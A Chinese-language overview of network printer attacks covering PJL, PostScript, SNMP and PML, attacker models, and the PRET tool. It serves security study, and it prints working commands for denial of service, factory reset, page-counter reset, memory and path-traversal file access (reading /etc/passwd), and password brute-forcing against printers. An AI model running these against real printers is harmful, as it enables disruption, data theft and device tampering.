在這里,首先介紹一下網絡打印協(xié)議和打印語言的關系原理,其抽象的封裝層次如圖所示,網絡打印協(xié)議扮演打印任務的部署通道,而打印任務則包含了調用打印機或進行打印設置的頁面描述語言(PDL)。從安全角度來說,這種封裝功能略有重復和松散,例如,可以在ipP、PJL和PostScript中設置不同的用戶名,即使在某一層存在某種功能限制,其它封裝層又可以實現。在該項研究中,我們主要關注的是打印語言,尤其是PJL和PostScript。

PCL(PRinting Control Language)語言是將打印內容解釋成標準頁面描述文件,然后由打印機轉換成光柵圖像進行打印。采用PCL打印語言的打印機對計算機系統(tǒng)資源占用也較少,同時對字庫、圖像的解釋能力較強,可以用來輸出比較復雜的頁面和圖像,PCL語言具有較好的兼容性,可廣泛支持所有操作系統(tǒng);此外由于數據傳輸量較小,可以很方便地實現網絡打印,適用于操作系統(tǒng)較復雜或大型的辦公環(huán)境。
PJL (Printer Job Language,打印機作業(yè)語言)作為PCL的擴展,用于指導打印機行為,比如更改設備設置、傳輸文件等,PJL最早由HP公司引入,現在已發(fā)展成為標準的打印任務控制語言。利用PJL語言可以對打印任務進行永久性的更改設置,PJL通過對文件格式和設置的讀取之后,通過轉換給打印機進行打印輸出。以下為典型的對打印紙張大小和數量進行設置的PJL命令:
1 @PJL SET PAPER=A4 2 @PJL SET COPIES=10 3 @PJL ENTER LANGUAGE=POSTSCRIPT
在我們的研究中,PJL可以被用來執(zhí)行DoS攻擊、打印頁面控制、讀取文件系統(tǒng)和內存,甚至惡意固件更新。
SNMP協(xié)議語言
SNMP是運行于端口161的UDP協(xié)議,SNMP通過其協(xié)議管理模塊MIB對支持這種協(xié)議的網絡設備進行管理,這些管理操作包括監(jiān)視網絡狀態(tài)?修改網絡設備配置?接收網絡事件警告等。SNMP還定義了可訪問的網絡設備及其屬性,并指定為對象識別符(OID:Object Identifier),通過OID請求可以獲取相關設備信息。以下為利用SNMP命令從主機資源MIB中讀取設備hrDeviceDescr的OID信息值:
1 $ snmpget -v1 -c public printer iso.3.6.1.2.1.25.3.2.1.3.1 2 iso.3.6.1.2.1.25.3.2.1.3.1 = STRING: "hp LaserJet 4250"
打印機標準Printer MIB(RFC 1759)正是利用了SNMP協(xié)議的該項特點,進行打印機設備的檢索和識別。在我們的測試攻擊中,SNMP協(xié)議還能結合PJL語言執(zhí)行任意打印攻擊。
打印管理語言 (PML)
PML 是以對象為導向的應答型打印機管理語言,它包括 PML 命令和 PML 對象,每個 PML 對象都與唯一的打印機信息段相關聯(lián)。 PML 命令可以指定訪問對象的方法。在我們的研究中,主要使用PML語言來重置打印機出廠狀態(tài)。
研究基礎-頁面描述語言PDL
PDL(Page Descriptional Language)頁面描述語言,主要用于將位圖格式轉換成PCL格式代碼,打印機接收后由CPU解釋并執(zhí)行打印。PDL的特點是多用途和表達精細,用來輸出復雜的頁面和圖像。其工作流程都是首先在計算機端將打印內容解釋成標準的頁面描述文件然后傳送到打印機控制器中,在打印控制器中再將頁面描述文件解釋成可以打印的光柵圖像。Postscript(PS)和PCL(Printing Control Language)是兩種標準化的頁面描述語言。
PostScript
PostScript是一種與設備無關的打印機語言,即在定義圖像時可以根本不考慮輸出設備的特性(如打印機的分辨率、紙張大小等),而且它對文本和圖形實行同樣的處理過程,極具靈活性。在對紙張大小、進紙盒輸出設備、分辨率等進行選擇時,PostScript可以實現不同特性的良好描述。在我們的研究中,PostScript可以被用來執(zhí)行DoS攻擊、打印頁面控制、讀取文件系統(tǒng)和內存。
Printer Command Language,PCL,打印機指令語言
與打印機控制語言(Printing Control Language)不同的是,打印機指令語言是PDL的一種, PCL 實質上是一種面向文本的語言,已擴展到能提供圖形功能,但在大型打印文件處理、色彩表現準確度等方面不如PostScript有優(yōu)勢,所以PCL語言更適用于普通的商務辦公應用。打印機指令語言PCL很難被攻擊利用,所以,在我們的研究中,它僅被用來在打印內存中構造虛擬宏文件。
打印機漏洞披露和各類語言支持情況
通過CVE的統(tǒng)計數據,我們整理出了自1999年至2016年以來,各品牌打印機存在的各類型披露漏洞,如下所示:
各類固件和語言的支持屬性:
攻擊者建模
內部攻擊者AM1(執(zhí)行物理接觸的攻擊)
該攻擊者可以潛伏于內部網絡,通過以下物理接觸方式發(fā)起對打印機的攻擊:
向內部網絡插入運行有攻擊程序的內存卡或USB外連設備;
通過USB外連設備或其它方式直接連接目標打印機;
對打印機進行打印控制更改或執(zhí)行某些關鍵組合鍵位操作。
網絡攻擊者AM2(通過網絡執(zhí)行遠程攻擊)
該攻擊者可以通過網絡,利用以下方式遠程對目標打印機發(fā)起攻擊:
入侵打印設置開啟的Web、FTP、SMB、SNMP、LPD、IPP或9100端口打印服務等;
對目標打印機建立長期的攻擊連接。
瀏覽器攻擊者AM3(通過Web瀏覽器方式執(zhí)行攻擊)
攻擊者對目標網絡內的人員,通過構造“水坑網站”、釣魚郵件或社工方式攻擊,利用XSS等漏洞注入惡意打印腳本,或滲透內網間接控制打印機。
可以實現的攻擊
DoS攻擊
打印隊列任務控制
打印信息傳輸通道控制
針對9100原始端口打印協(xié)議,利用netcat命令實現的驗證性攻擊代碼(連接循環(huán)):
1 while true; do nc printer 9100; done針對9100原始端口打印協(xié)議,實現的延時連接循環(huán)DoS攻擊:
1 # get maximum timeout value 2 MAX="‘echo "@PJL INFO VARIABLES" | nc -w3 printer 9100 / 3 | grep -E -A2 ’^TIMEOUT=’ | tail -n1 | awk ’{print $1}’‘" 4 # set maximum timeout for current job 5 while true; do echo "@PJL SET TIMEOUT=$MAX"|nc printer 9100; done
打印文檔控制
用兩行PostScript代碼實現的循環(huán)DoS攻擊:
1 %! 2 {} loop
打印描述頁面重定義
用以下PostScript命令實現打印描述頁面重定義:
1 serverdict begin 0 exitserver 2 /showpage {} def
使打印機進入離線脫機狀態(tài)
使用PJL命令使打印機進入離線脫機狀態(tài):
1 @PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"利用打印文檔控制可以實現DoS攻擊的打印機品牌:
物理內存破壞
使用以下PostScript代碼對打印機內存實現壓力測試:
1 /counter 0 def
2 { << /PassWord counter 16 string cvs
3 /SystemParamsPassword counter 1 add 16 string cvs
4 >> setsystemparams /counter counter 1 add def
5 } loop
提權
出廠狀態(tài)重置
利用以下SNMP命令實現出廠狀態(tài)重置:
1 $ snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 62 @PJL DMCMD ASCIIHEX="040006020501010301040106"3 << /FactoryDefaults true >> setsystemparams可以實現出廠狀態(tài)重置的打印機品牌:
錯誤信息顯示繞過
重置HP激光打印機紙張計數器:
1 /x1b%-12345X@PJL JOB
2 This page was printed for free
3 /x1b%-12345X@PJL EOJ
4 /x1b%-12345X@PJL JOB
5 @PJL SET SERVICEMODE=HPBOISEID
6 @PJL SET PAGES=2342
7 /x1b%-12345X@PJL EOJ
PostScript軟件計數器繞過:
1 currentsystemparams (PageCount) known {
2 [...] code which is only executed on a printer device [...]
3 } if
打印任務控制
打印內容覆蓋
打印內容置換
可以實現打印內容覆蓋和置換攻擊的打印機品牌:
信息泄露
隱蔽通道信息獲取
DNS反向通道信息獲取
XSS反向通道信息獲取
FAX反向通道信息獲取
Garbage反向通道信息獲取
打印內存訪問
例如,在兄弟牌打印機中用以下命令實現內存訪問:
1 @PJL RNVRAM ADDRESS = X (read byte at location X)
2 @PJL WNVRAM ADDRESS = X DATA = Y (write byte Y to location X)
打印文件系統(tǒng)訪問
在HP激光打印機中,用以下PostScript代碼實現打印系統(tǒng)訪問:
1 > /str 256 string def (%*%../*) (list all files)
2 > {==} str filenameforall
3 < (%disk0%../webServer/home/device.html)
4 < (%disk0%../webServer/.java.login.config)
5 < (%disk0%../webServer/config/soe.xml)
6
7 > /byte (0) def (read from file)
8 > /infile (../../../etc/passwd) (r) file def
9 > { infile read {byte exch 0 exch put
10 > (%stdout) (w) file byte writestring}
11 > {infile closefile exit} ifelse
12 > } loop
13 < root::0:0::/:/bin/dlsh
14
15 > /outfile (test.txt) (w+) file def (write to file)
16 > outfile (Hello World!) writestring
17 > outfile closefile
或者用以下PJL命令實現打印系統(tǒng)訪問:
1 > @PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=65535 (list all files)
2 < . TYPE=DIR
3 < .. TYPE=DIR
4 < PostScript TYPE=DIR
5 < PJL TYPE=DIR
6 < saveDevice TYPE=DIR
7 < webServer TYPE=DIR
8
9 > @PJL FSQUERY NAME="0:/../../etc/passwd" (read from file)
10 < @PJL FSQUERY NAME="0:/../../etc/passwd" TYPE=FILE SIZE=23
11 > @PJL FSUPLOAD NAME="0:/../../etc/passwd" OFFSET=0 SIZE=23
12 < root::0:0::/:/bin/dlsh
13
14 > @PJL FSDOWNLOAD SIZE=13 NAME="0:/test.txt" (write to file)
15 > Hello World!
打印文件系統(tǒng)存在可訪問漏洞的打印機品牌:
打印任務信息泄露
同樣以HP激光打印機為例,可以用以下PJL代碼獲取當前打印任務信息:
1 @PJL SET HOLD=ON
2 [actual data to be printed]
用以下PostScript代碼獲取當前打印任務信息:
1 << /Collate true /CollateDetails
2 << /Hold 1 /Type 8 >> >> setpagedevic
存在打印任務信息泄露漏洞的打印機品牌:
密碼泄露
以下是HP打印機控制面板和PJL磁盤區(qū)密碼存儲樣式:
1 @PJL JOB PASSWORD=0
2 @PJL DEFAULT PASSWORD=12345
3 @PJL DEFAULT DISKLOCK=ON
4 @PJL DEFAULT CPLOCK=ON
攻擊者通過內存和文件系統(tǒng)讀取就可獲取這些密碼。另外,由于PostScript密碼范圍為1-65535,使用高速密碼破解機制可以實現暴力破解。以下是一個簡單的破解樣例:
1 /min 0 def /max 1000000 def
2 statusdict begin {
3 min 1 max
4 {dup checkpassword {== flush stop} {pop} ifelse} for
5 } stopped pop
存在相關密碼信息泄露的打印機品牌:
遠程代碼執(zhí)行
緩沖區(qū)溢出
例如在HP系列部分激光打印機中存在的LPD協(xié)議緩沖區(qū)溢出漏洞:
偽裝成固件或軟件包升級執(zhí)行惡意代碼的攻擊
我們針對排名前十的打印機品牌進行了升級固件和軟件包統(tǒng)計匯總,發(fā)現某些品牌打印機未對升級固件和軟件包進行必要的安全驗證,并且升級固件中還存在著一些有風險的PJL命令代碼。(詳情參見分析報告)
針對上述攻擊,最終,我們總結出了一些攻擊檢測和安全防護的建議:
新型攻擊:跨站打印(XSP)攻擊
在研究中,我們發(fā)現了一種新型的打印機攻擊方式:通過WEB方式利用跨源資源共享欺騙( CORS spoofing)實現跨站打印(Cross-site printing,XSP)攻擊。攻擊者通過構造一個隱藏Iframe,向目標內部網絡中的打印機端口9100/tcp發(fā)送HTTP POST請求,該HTTP POST數據中可包含任意打印任務,例如需要解釋的PostScript或者PJL命令。通過過使用PostScript輸出命令,我們能夠輕松模擬一套運行在端口9100/tcp上的HTTP虛擬服務器,并自定義需要響應的HTTP標題頭——其中包括任意CROS資源的訪問-控制-允許-原始區(qū)域,網絡瀏覽器利用XPS中的Javascript訪問此資源后,實現打印欺騙。
可以通過該網站:http://hacking-printers.net/xsp/,進行CROS欺騙結合XPS攻擊的概念性攻擊測試。
打印機入侵利用工具套裝(PRET)
在攻擊測試過程中,我們使用打印機入侵利用工具套裝(PRET)對目標打印機進行了各類攻擊測試的實現。PRET是基于python語言的自動化程序。
安裝
點此獲取執(zhí)行程序,并安裝以下第三方組件:
# pip install colorama pysnmp
# pip install win_unicode_console
# apt-get install imagemagick Ghostscript
PRET使用命令
usage: pret.py [-h] [-s] [-q] [-d] [-i file] [-o file] target {ps,pjl,pcl}
positional arguments:
target printer device or hostname
{ps,pjl,pcl} printing language to abuse
optional arguments:
-h, --help show this help message and exit
-s, --safe verify if language is supported
-q, --quiet suppress warnings and chit-chat
-d, --debug enter debug mode (show traffic)
-i file, --load file load and run commands from file
-o file, --log file log raw data sent to the target
示例
對打印機文件系統(tǒng)訪問:
后記
近期,一名來自英國的高中生黑客 Stackoverflowin聲稱利用打印機漏洞控制了 15萬多臺打印機。Stackoverflowin說,他嘗試利用打印機進程守護(LPD)和 Internet 打印協(xié)議(IPP)通過 9100 端口直接傳送 RAW 協(xié)議的打印作業(yè),繞過了身份認證。同時他還透露,他在Xerox 的打印機 Web 管理頁面發(fā)現了一個 0Day 的遠程執(zhí)行漏洞(RCE)。而就在近幾天,相繼有全球各地打印機受到攻擊,這些打印機紛紛在Twitter上曬出了被攻擊之后打印的ASCII碼圖案。
打印機安全事件
2011.11 哥倫比亞大學研究人員發(fā)現,部分惠普激光打印機上一個名為“遠程固件更新”的功能可以讓黑客在機器上安裝惡意軟件后完全控制打印機,將打印文件傳回黑客電腦、使打印機停止工作甚至讓打印機上對碳粉進行加熱加壓的定影儀不斷加熱至起火。
2016.3 被稱為“Weev”的黑客Andrew Auernheimer入侵了數千臺聯(lián)網打印機來打印傳播種族主義和反猶太人傳單。
新聞熱點
疑難解答